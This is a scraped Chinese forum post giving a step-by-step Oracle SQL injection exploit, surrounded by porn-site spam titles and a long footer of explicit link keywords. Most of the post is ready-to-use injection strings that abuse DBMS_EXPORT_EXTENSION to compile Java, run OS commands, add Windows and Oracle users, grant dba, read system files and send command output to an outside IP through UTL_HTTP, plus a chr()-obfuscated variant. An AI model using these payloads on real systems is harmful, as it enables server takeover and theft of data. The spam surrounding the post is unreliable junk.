九九99在线视频-九九99香蕉在线视频美国毛片-九九99热久久精品在线9-九九99热-九九99久久精品在免费线bt-九九99久久


曙海教育集團論壇開發語言培訓專區Oracle數據庫 → 犀利的 oracle 注入技術


  共有92654人關注過本帖樹形打印

主題:犀利的 oracle 注入技術

美女呀,離線,留言給我吧!
wangxinxin
  1樓 個性首頁 | 博客 | 信息 | 搜索 | 郵箱 | 主頁 | UC


加好友 發短信
等級:青蜂俠 帖子:1393 積分:14038 威望:0 精華:0 注冊:2010-11-12 11:08:23
犀利的 oracle 注入技術  發帖心情 Post By:2010-12-11 11:04:20

介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創建用戶(除非當前用戶有system權限,否則無法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權限,以下語句應該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創建函數
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權限
給用戶SYSTEM執行權限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執行函數
select RunCMD2('cmd /c dir') from dual

支持(0中立(0反對(0單帖管理 | 引用 | 回復 回到頂部

返回版面帖子列表

犀利的 oracle 注入技術








簽名
主站蜘蛛池模板: 国产一级啪啪 | 亚洲专区路线一路线二高质量 | 性欧美极品xxxx欧美一区二区 | 欧美大白屁股 | 两男一女3p揉着她的奶视频 | 日韩三级成人 | 香蕉久久久久久av成人 | 很黄很色60分钟在线观看 | 一级一级一片免费 | 高h放荡受浪受bl | 动漫av永久无码精品每日更新 | 2000xxx亚洲精品 | 欧美午夜精品 | 国产女合集 | 夜夜嗨av一区二区三区中文字幕 | 91无毒不卡| 中文在线天堂网www 在线视频观看免费视频18 | 亚洲哺乳偷拍哺乳偷拍 | 亚洲永久免费观看 | 9999在线视频| h动漫一区二区 | 色屁屁ts人妖系列二区 | 伊人亚洲影院 | 日本人配人免费视频人 | 性欧美videos做受 | 一本久久a久久精品亚洲 | 在线免费黄色网 | av网站免费观看 | 日日夜夜操操 | 六月婷婷激情网 | 少妇无套高潮一二三区 | 成人免费av在线 | 在线观看色网 | 天天做天天看 | 亚洲一级中文字幕 | 久久久国产高清 | 一区二区视频在线观看免费 | 国产午夜精品一区二区三区漫画 | 日韩一区欧美二区 | 国产一区视频在线观看免费 | 亚洲国产精品成人天堂 | 91好色视频| 中文字幕.com| 日韩视频在线观看一区二区三区 | 国产韩国精品一区二区三区久久 | 日本中文字幕在线大 | 99色精品| 好屌草这里只有精品 | 一级国产精品一级国产精品片 | 黄片毛片在线观看 | 中文字幕一区二区三区四区 | av无码一区二区三区 | av在线播放观看 | 18无码粉嫩小泬无套在线观看 | 国产亚洲精品久久久久动 | 国产欧美在线看 | 一级黄色片在线观看 | 日日干夜夜骑 | 欧美一级a俄罗斯毛片 | 希岛爱理aⅴ在线中文字幕 希岛爱理和黑人中文字幕系列 | 西西午夜无码大胆啪啪国模 | 伊人激情综合 | 亚洲精华国产精华精华液网站 | 国产精品久久久久久久久久久免费看 | 成人在线欧美 | 天天爽天天搞 | 免费黄色小视频在线观看 | 91精品综合久久久久久 | 性欧美激情 | 久久精品探花 | 久久九九爱 | 欧美大色 | 无码视频一区二区三区 | 日欧美老女人 | 国内精品国产成人国产三级 | 欧美日韩综合在线观看 | 婷婷国产一区二区三区 | 国产天堂视频在线观看 | 秋霞福利 | 国产又色又爽又黄的视频在线观看 | 亚洲精品久久久久久久久久 | 动漫精品一区 | 精品久久久久久久久久中文字幕 | 亚洲色图网友自拍 | 中文第一页 | 日韩一区二区三区福利视频 | 日韩av成人免费看 | 国产中文字幕在线视频 | 欧美日比视频 | 国产精品高潮视频 | 亚洲精品伦理 | 樱花草涩涩www在线播放 | 亚洲av成人精品毛片 | www.浪潮av.com | 国产精品偷伦视频免费手机播放 | 精品人伦一区二区三区蜜桃免费 | 一个人看的免费高清www视频 | 一区二区片 | 五月天综合网 | 欧美人伦禁忌dvd放荡欲情 | 久久久久91 | 国产最爽乱淫视频国语对白 | 人妻丰满av无码久久不卡 | 国产乱码精品一区二区三区中文 | av爽妇网| 国产女主播在线喷水呻吟 | 丁香花在线影院观看在线播放 | 日批视频免费在线观看 | 久久久91精品 | 国产片性视频免费播放 | 国产精品国产精品国产专区蜜臀ah | 激情五月婷婷综合网 | 久久精品一区二区三区四区毛片 | 久久久久国产精品 | 国产精品久久久久久福利 | 国产一线二线三线女 | 超碰在线最新地址 | youporn国产在线观看 | 一级高清免费毛片 | 真实乱偷全部视频 | 色呦呦中文字幕 | 亚洲精品色在线网站 | 亚洲精品国产精品乱码在线观看 | 亚洲精品久久久一线二线三线 | 小早川怜子avhd肉厚一区 | 国产97av| 麻豆一区二区三区在线观看 | 成人福利在线看 | 成人亚洲精品久久久久软件 | 久久深夜| 精品毛片乱码1区2区3区 | 亚洲综合久久网 | 奶头挺立呻吟高潮视频 | 99视频精品| 欧美极品少妇xxxxⅹ猛交 | 免费黄色欧美 | 九一亚洲精品 | 亚洲精品免费在线观看 | 调教丰满的已婚少妇在线观看 | 精品国产乱码久久久久久移动网络 | 四只虎影院在线免费 | 日本欧美久久久免费播放网 | 东京干手机福利视频 | 日日日日日日bbbbbb | 91九色丨porny丨丰满6 | 337p西西人体大胆瓣开下部 | 中文天堂在线视频 | 日本精品一二三 | 国产精品久久久久久久影院 | 国产99久久精品一区二区永久免费 | 中文字幕在线一区二区三区 | av一区三区| 美女久久久久久久久 | 91chinese一区二区三区 | 国产精品98 | 国产高清在线一区 | 男生女生羞羞网站 | 在线观看成人网 | 国产内射999视频一区 | 亚洲肥老太bbw中国熟女 | 成人av在线网址 | 50部乳奶水在线播放 | 乳霸冲田杏梨中文字幕担心学生的 | 中文字幕久久熟女蜜桃 | 亚洲精品国产成人 | 曰韩毛片 | 日本亚洲免费 | 国产精品99久久久久久夜夜嗨 | 中文字幕无线精品亚洲乱码一区 | 91看片淫黄大片91桃色 | 99久久久无码国产精品不卡 | 挺进邻居丰满少妇的身体 | 中文字幕综合在线分类 | 国内自拍小视频 | 欧美日韩国产在线播放 | 国产精品69av | 激情四射av| 欧美另类激情 | 秋霞啪啪片 | 亚洲综合在线中文字幕 | 真人做人试看60分钟免费 | 泰国三级av | 三级黄色网络 | 高h大肚孕期孕妇play | 午夜亚洲| 992人人草 | 国产一区二区三区精品视频 | 久久精品一区二区 | 91快射| 精品福利在线观看 | 中文在线天堂网www 在线视频观看免费视频18 | 日韩午夜视频在线 | 婷婷综合久久中文字幕蜜桃三电影 | 久久国产劲暴∨内射新川 | 午夜av一区| 无码人妻精品一区二区三18禁 | 国产精品粉嫩jk国产呦系列 | 一级做性色α爱片久久毛片色 | 乌克兰少妇xxxx做受 | 黄色同人网站 | 少妇饥渴偷公乱第32章 | 国产清纯粉嫩学生白丝在线观看 | 夜间福利网站 | 久久香视频 | 久久加勒比亚洲精品一区 | 一级肉体全黄裸片高潮不断 | 国产精品久草 | 高潮久久久久久久久 | 精品中文字幕av | 杨贵妃情欲艳谭三级 | 日韩不卡在线播放 | 超碰97在线免费 | 欧美精品色哟哟 | 久久大胆 | 日本精品久久久久久草草 | 九色在线观看 | 色吊丝av中文字幕 | 天海翼一区 | 老司机精品视频网 | 日本在线观看 | 精品久久中文字幕 | 亚洲福利专区 | 三上悠亚日韩精品二区 | 搡老熟女老女人一区二区 | 少妇太紧太爽又黄又硬又爽 | 国产精品久久久99 | 欧美理伦 | 国产精品久久福利 | √天堂中文在线 | 亚洲免费综合 | 色女人网| 精品人伦一区二区色婷婷 | 日本护士╳╳╳hd少妇 | 国产国产精品人在线视 | 精品免费国产一区二区 | 国产a级片免费看 | 91原创国产 | 欧美激情精品久久久久 | 国产一级一片射内视频 | 一个人看的www视频免费观看 | 久久人人添人人爽添人人88v | 99久久久无码国产精品6 | 邻居少妇张开腿让我爽视频 | 久久久麻豆精品一区二区 | 少妇高潮18zzzzzzzyⅹ | 婷婷性多多影院 | 麻豆一区二区99久久久久 | 亚洲精品久久久久玩吗 | 日本中文字幕一区二区有限公司 | 婷婷精品进入 | 国产三级大片 | 亚洲三级网| 超高清日韩aⅴ大片美女图片 | 久草欧美 | 亚洲一区小说 | 无套内谢丰满少妇中文字幕 | 大地资源网中文第五页 | a天堂视频在线 | 久久人人爽人人爽人人片亞洲 | 国产精品视频yy9299一区 | 亚洲不卡免费视频 | 明日花绮罗576空乘在线播放 | 不卡的av在线 | 亚洲国产福利 | 无码av天堂一区二区三区 | 午夜影视大全 | 最近日韩中文字幕 | 日韩激情在线视频 | 噜噜噜久久久 | 中文字幕在线观看av | 国产亚洲精品精品国产亚洲综合 | 国产三级a| 亚洲大尺度专区 | 成人性生交免费大片 | 日韩精品一区在线观看 | 国产精品久久久久久久久毛片 | 日本中文在线视频 | 免费大片av手机看片高清 | 欧美jizzhd精品欧美 | 无套内射无矿码免费看黄 | 日本三级毛片 | 在线观看黄 | 国产一级理论 | 成人伊人 | 九色porny丨首页入口网页 | 男女做爰猛烈啪啪吃奶动床戏麻豆 | 亚洲国产女人aaa毛片在线 | 午夜精品久久久久久久喷水 | 丰满少妇久久久久久久 | 怡红院av亚洲一区二区三区h | 久久久国产精品人人片 | 精品久久久久久亚洲中文字幕 | 国产成人精品日本亚洲77上位 | 久久国产秒| 日本一区二区不卡在线 | 国产一国产二国产三 | 国产免费啪啪 | 亚洲综合社区 | 久青草视频在线观看 | 国产精品久久久久久久午夜 | jizz4国产| 黄色精品一区 | 佐山爱在线视频| 国产精品成人va在线观看 | 与亲女洗澡时伦了毛片 | 国产精品成人免费视频 | 欧美一级一区二区 | 四虎成人精品无码永久在线 | а√在线中文网新版地址在线 | 中文字幕精品久久久久人妻红杏ⅰ | 情侣做性视频在线播放 | 国产亚洲精品久久久久久牛牛 | 日韩一级理论片 | 欧美日韩在线亚洲综合国产人 | 国产欧美日本在线 | 可以在线看的av网站 | 解开乳罩喂领导吃奶 | www亚洲高清 | 国产又爽又黄又无遮挡的激情视频 | 精品国产乱码久久久久久久 | 开元在线观看视频国语 | 精品欧美小视频在线观看 | 亚洲综合视频在线 | 在线欧美 | 成人欧美一区二区三区黑人麻豆 | 日本黄色三级 | 欧美日韩综合网 | 国产成人精品一区二三区四区五区 | 性猛进少妇xxxx富婆的 | 超碰97免费 | 好吊视频一区二区 | 国产在线精品国自产拍影院同性 | 少妇愉情理仑片高潮日本 | 日本福利社 | 亚洲精品一区二区另类图片 | 1111111少妇在线观看 | 亚洲视频中文 | 亚洲视频网站在线观看 | 国产大屁股喷水视频在线观看 | 夜夜嗨av一区二区三区四季av | 免费观看成人在线视频 | 78色淫网站女女免费 | 午夜黄色福利视频 | 噼里啪啦在线高清观看免费 | 神马久久午夜 | 国产91精品激烈高潮白浆 | 美女露出奶头扒开尿口免费网站 | 国产a国产 | 俺去俺来也www色官网 | 韩国三级大全久久网站 | 真人与拘做受免费视频一 | 乱中年女人伦 | 91久久婷婷国产一区二区三区 | 国产 欧美 视频一区二区三区 | 国产草草影院 | 性户外野战hd | 大片免费在线观看视频 | 亚洲毛片大全 | 亚洲色图在线视频 | 在线播放五十路熟妇 | 国产精品美女www爽爽爽动态图 | 一级特黄色片 | 国产精品激情av久久久青桔 | 日韩一区二区在线视频 | 日韩小视频 | 公妇乱淫视频 | 在线观看亚洲天堂 | 真实的国产乱xxxx在线 | 一级精品视频 | 一级黄色毛片 | 日本国产视频 | 国产精品对白清晰受不了 | 成 人色 网 站 欧美大片在线观看 | 亚洲午夜精品久久久久久 | 亚洲 丝袜 自拍 清纯 另类 | 久久精品一二三区白丝高潮 | 国产精品入口免费视频一 | 欧洲美女黑人粗性暴交视频 | 新久草视频 | 国产伦精品一区二区三区视频免费 | 娇小xxxx性开放国产精 | 日本免费一区二区三区中文字幕 | 国产一伦一伦一伦 | 秋霞视频在线观看 | 亚洲高清偷拍一区二区三区 | 国产日韩精品中文字无码 | 国产日产欧产美一二三区 | 999国内精品视频免费 | 成人美女黄网站色大免费的 | 性色av免费观看 | 国内精品小视频 | 亚洲欧美国产精品专区久久 | 肉欲性大交毛片 | 激情国产av做激情国产爱 | 免费黄色av | 亚洲一区二区小说 | 亚洲第一av在线 | 国产农村妇女一区二区 | www.yeyyme成人看片 | 性一交一乱一色一情丿按摩 | 成人免费毛片aaaaaa片 | 亚洲精品久久久久久 | 国产av综合影院 | 韩国伦理中文字幕 | 一本久久a精品一合区久久久 | 91亚洲精品久久久中文字幕 | 精品久久久久久中文字幕大豆网 | 精精国产xxxx在线观看主放器 | 91国内 | 最新国产中文字幕 | 日本一区二区三区日本免费 | 91精品久久久久久综合五月天 | 国产精品视频麻豆 | 中文字幕乱码一区av久久不卡 | 99精品久久久久久久 | 国产又好看的毛片 | 亚洲一区二区三区国产 | 51妺嘿嘿午夜福利 | 日本泡妞视频 | 成人国产片 | 国产在线啪 | 欧美日韩中文字幕在线视频 | 精品人妻少妇一区二区 | 青青操免费在线视频 | 亚洲国产成人久久精品软件 | 日产精品99久久久久久 | 久久久综合激的五月天 | 夜影影视剧大全在线观看 | 成人一区三区 | 中国偷拍毛茸茸肥老熟妇 | 成人做爰桃子窝窝a视频 | 黑白配高清在线观看免费版中文 | 在线观看国产欧美 | 人人草网站 | 一区二区三区在线 | 网站 | 黄色在线视频网站 | 中文字幕无码第1页 | 国产免费不卡 | 一本一道久久a久久精品综合 | 免费观看黄色一级视频 | 男人的天堂网在线 | 一区二区三区视频网站 | 亚洲午夜久久久影院 | 蜜臀av性久久久久av蜜臀妖精 | 成年美女黄网站色大免费视频 | 日韩精品一区二区三区中文字幕 | 亚洲欧洲精品一区二区三区 | 色呦呦麻豆 | 污视频在线观看免费 | 日本三级欧美三级人妇视频黑白配 | 欧美日韩免费视频 | 三级经典三级日本三级欧美 | 亚洲欧美激情国产综合久久久 | 色狠狠一区 | 91麻豆免费视频 | 爆乳熟妇一区二区三区 | 中文字幕久热 | 最近中文字幕在线观看视频 | 性一交一乱一乱视频 | 天天想天天干 | xvideos成人免费视频 | 亚洲女优在线 | 性高潮久久久久久 | 成人伊人| www九九热| 日本高清裸体私密写真集 | 五十路丰满中年熟女中出 | 中文字幕在线字幕中文 | 久久与婷婷| 撸啊撸av | 巨人精品福利官方导航 | 91蝌蚪视频在线 | av毛片久久久久午夜福利hd | 免费黄色大片网站 | 亚洲 中文 欧美 日韩 在线观看 | 日韩视频精品 | 成人av在线一区二区三区 | 蜜桃视频一区二区在线观看 | 农村妇女愉情三级 | 人人添人人澡人人澡人人人人 | 国产一区二区在线精品 | 少妇人妻无码专区视频 | 欧美乱妇无乱码大黄a片 | 男同志毛片特黄毛片 | 最新天堂中文在线 | 色婷婷久久综合中文久久一本 | 美女极度色诱视频国产 | 青青国产在线观看 | 精品久久久久一区二区国产 | 黄色天堂网 | wwwcom国产| 精品久久久久久久久久ntr影视 | 欧美激情在线免费 | 国产精品久久77777 | 女人18毛片aaa片水真多 | 福利一区二区三区视频在线观看 | 一区二区三区久久久久 | 青青伊人国产 | 国产精品久久久久久久午夜片 | 国产精品不卡一区 | 国产精品一二三区在线观看 | 成人影视在线播放 | 成人综合影院 | 国产中文区二幕区2021 | 天堂网www在线 | 巨大欧美黑人xxxxbbbb | 午夜福利国产成人无码gif动图 | 中文字幕免费一区二区 | 国产精品久久久久久久久毛片 | 欧美乱妇高清无乱码一级特黄 | 亚洲国产剧情 | 精品国产一区二区三区四区 | 五月天福利视频 | 久久妇女 | 农村女人乱淫免费视频麻豆 | 亚洲国产av精品一区二区蜜芽 | 日韩综合一区二区三区 | 中文字幕人成乱码熟女app | 国产a不卡| 狠狠色噜噜狠狠狠狠米奇777 | 久久www免费人成一看片 | 在线能看的av | 日韩精品a在线观看 | 成人无高清96免费 | 久久人人爽人人爽人人片亞洲 | 国产午夜精品美女视频明星a级 | 黄色大片一区二区三区 | 国产精品久久久久久久久毛片 | 中文字幕488页在线 中文字幕58页 | 日韩欧美一二三区 | 久久久无码精品亚洲日韩按摩 | julia中文字幕久久亚洲蜜臀 | 欧美一级黄色片在线观看 | 久久久女女女女999久久 | 国产精品无码av在线播放 | 肉色超薄丝袜脚交91 | 亚洲在线视频免费观看 | 精品欧洲av无码一区二区男男 | 99这里精品 | 日韩精品在线免费观看视频 | 激情婷婷综合 | 亚洲国产精品一区二区久久hs | 岛国大片在线观看 | 欧美bbbbb性bbbbb视频 | 农民人伦一区二区三区剧情简介 | 免费的黄色大片 | 青娱乐极品视觉盛宴国产视频 | 欧洲熟妇色xxxx欧美老妇老头多毛 | 国产极品美女高潮抽搐免费网站 | 色哟哟国产精品 | 欧美字幕| 妞干网精品 | 豆国产95在线 | 亚洲 | 日本妞xxxxxxxxx68 | 涩涩亚洲| 国产农村妇女高潮大叫 | 一区二区传媒有限公司 | 一区二区三国产 | 亚洲三级黄 | 精品国产1区2区3区 精品国产31久久久久久 | 手机看片日韩精品 | 波多野结衣不打码视频 | 